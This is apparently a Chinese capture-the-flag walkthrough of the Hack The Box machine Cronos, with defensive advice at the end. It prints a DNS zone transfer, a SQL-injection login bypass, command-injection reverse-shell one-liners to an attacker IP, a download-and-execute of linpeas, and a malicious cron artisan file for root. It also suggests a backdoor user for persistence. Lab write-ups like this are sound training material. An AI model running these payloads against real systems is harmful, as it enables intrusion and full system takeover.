hack the box靶场练习之cronos
字数 1236 2025-08-11 17:40:19

Hack The Box靶场:Cronos渗透测试实战教学

1. 靶机信息概览

  • 靶机名称: Cronos
  • 难度等级: 中级
  • 涉及技术: DNS枚举、SQL注入、命令注入、Cron任务提权
  • 开放端口: 22(SSH)、53(DNS)、80(HTTP)

2. 初始信息收集

2.1 端口扫描

使用nmap进行初始扫描:

nmap -sV -p- 10.10.10.13

发现开放端口:

  • 22/tcp - SSH
  • 53/tcp - DNS
  • 80/tcp - HTTP

2.2 DNS枚举

使用dig工具进行DNS区域传输攻击:

dig axfr cronos.htb @10.10.10.13

成功获取DNS记录后,发现以下子域名:

  • admin.cronos.htb
  • www.cronos.htb

将发现的域名添加到本地hosts文件:

echo "10.10.10.13 cronos.htb admin.cronos.htb www.cronos.htb" >> /etc/hosts

3. Web应用渗透

3.1 网站目录扫描

使用gobuster进行目录扫描:

gobuster dir -u http://cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

3.2 SQL注入攻击

访问admin.cronos.htb发现登录页面,尝试SQL注入:

  1. 使用万能密码绕过:
    用户名: admin' or 1=1 --
    密码: 任意
    
  2. 成功登录后进入命令执行界面

3.3 命令注入获取初始shell

在命令执行界面尝试注入:

  1. 测试基本命令执行:
    127.0.0.1; whoami
    
  2. 建立反向shell连接:
    • 攻击机监听:
      nc -nlvp 1234
      
    • 目标机执行:
      127.0.0.1; bash -c 'bash -i >& /dev/tcp/攻击机IP/1234 0>&1'
      
  3. 获取低权限shell后,升级为完整TTY:
    python -c 'import pty; pty.spawn("/bin/bash")'
    

4. 权限提升

4.1 信息收集

  1. 查找用户flag:
    find / -name user.txt 2>/dev/null
    
  2. 检查sudo权限:
    sudo -l
    
  3. 使用linpeas.sh进行自动化提权检测:
    • 攻击机启动HTTP服务:
      python3 -m http.server 8000
      
    • 目标机下载并执行:
      wget http://攻击机IP:8000/linpeas.sh -O /tmp/linpeas.sh
      chmod +x /tmp/linpeas.sh
      /tmp/linpeas.sh
      

4.2 Cron任务提权

  1. 发现root用户执行的定时任务:

    cat /etc/crontab
    

    发现如下条目:

    * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
    
  2. 检查/var/www/laravel目录权限:

    ls -la /var/www/laravel
    

    发现当前用户有写权限

  3. 创建恶意artisan文件:

    echo '<?php system("bash -c \'bash -i >& /dev/tcp/攻击机IP/4567 0>&1\'"); ?>' > artisan
    
  4. 攻击机监听新端口:

    nc -nlvp 4567
    
  5. 等待cron执行后获取root shell

  6. 获取root flag:

    cat /root/root.txt
    

5. 技术要点总结

  1. DNS区域传输漏洞

    • 使用dig工具测试DNS服务器是否允许区域传输
    • 命令:dig axfr 域名 @DNS服务器IP
  2. SQL注入

    • 识别登录表单中的注入点
    • 使用万能密码绕过认证:admin' or 1=1 --
  3. 命令注入

    • 在可执行命令的输入点测试命令分隔符(;、&&、|等)
    • 建立反向shell连接
  4. Cron任务提权

    • 检查/etc/crontab文件
    • 查找可写的cron任务脚本
    • 替换脚本为恶意代码获取root权限
  5. 权限维持

    • 在获取root权限后,可考虑添加SSH密钥或创建后门用户

6. 防御建议

  1. DNS安全

    • 禁用DNS区域传输或限制为可信IP
    • 使用TSIG签名进行区域传输认证
  2. Web应用安全

    • 使用参数化查询防止SQL注入
    • 对用户输入进行严格过滤和转义
    • 实施最小权限原则
  3. 系统安全

    • 定期审计cron任务和权限设置
    • 确保关键目录和文件权限正确
    • 使用文件完整性监控
  4. 日志监控

    • 监控异常登录和命令执行
    • 设置警报机制检测可疑活动

通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了DNS枚举、SQL注入、命令注入和Cron任务提权等技术。

Hack The Box靶场:Cronos渗透测试实战教学 1. 靶机信息概览 靶机名称 : Cronos 难度等级 : 中级 涉及技术 : DNS枚举、SQL注入、命令注入、Cron任务提权 开放端口 : 22(SSH)、53(DNS)、80(HTTP) 2. 初始信息收集 2.1 端口扫描 使用nmap进行初始扫描: 发现开放端口: 22/tcp - SSH 53/tcp - DNS 80/tcp - HTTP 2.2 DNS枚举 使用dig工具进行DNS区域传输攻击: 成功获取DNS记录后,发现以下子域名: admin.cronos.htb www.cronos.htb 将发现的域名添加到本地hosts文件: 3. Web应用渗透 3.1 网站目录扫描 使用gobuster进行目录扫描: 3.2 SQL注入攻击 访问admin.cronos.htb发现登录页面,尝试SQL注入: 使用万能密码绕过: 成功登录后进入命令执行界面 3.3 命令注入获取初始shell 在命令执行界面尝试注入: 测试基本命令执行: 建立反向shell连接: 攻击机监听: 目标机执行: 获取低权限shell后,升级为完整TTY: 4. 权限提升 4.1 信息收集 查找用户flag: 检查sudo权限: 使用linpeas.sh进行自动化提权检测: 攻击机启动HTTP服务: 目标机下载并执行: 4.2 Cron任务提权 发现root用户执行的定时任务: 发现如下条目: 检查/var/www/laravel目录权限: 发现当前用户有写权限 创建恶意artisan文件: 攻击机监听新端口: 等待cron执行后获取root shell 获取root flag: 5. 技术要点总结 DNS区域传输漏洞 : 使用dig工具测试DNS服务器是否允许区域传输 命令: dig axfr 域名 @DNS服务器IP SQL注入 : 识别登录表单中的注入点 使用万能密码绕过认证: admin' or 1=1 -- 命令注入 : 在可执行命令的输入点测试命令分隔符(;、&&、|等) 建立反向shell连接 Cron任务提权 : 检查/etc/crontab文件 查找可写的cron任务脚本 替换脚本为恶意代码获取root权限 权限维持 : 在获取root权限后,可考虑添加SSH密钥或创建后门用户 6. 防御建议 DNS安全 : 禁用DNS区域传输或限制为可信IP 使用TSIG签名进行区域传输认证 Web应用安全 : 使用参数化查询防止SQL注入 对用户输入进行严格过滤和转义 实施最小权限原则 系统安全 : 定期审计cron任务和权限设置 确保关键目录和文件权限正确 使用文件完整性监控 日志监控 : 监控异常登录和命令执行 设置警报机制检测可疑活动 通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了DNS枚举、SQL注入、命令注入和Cron任务提权等技术。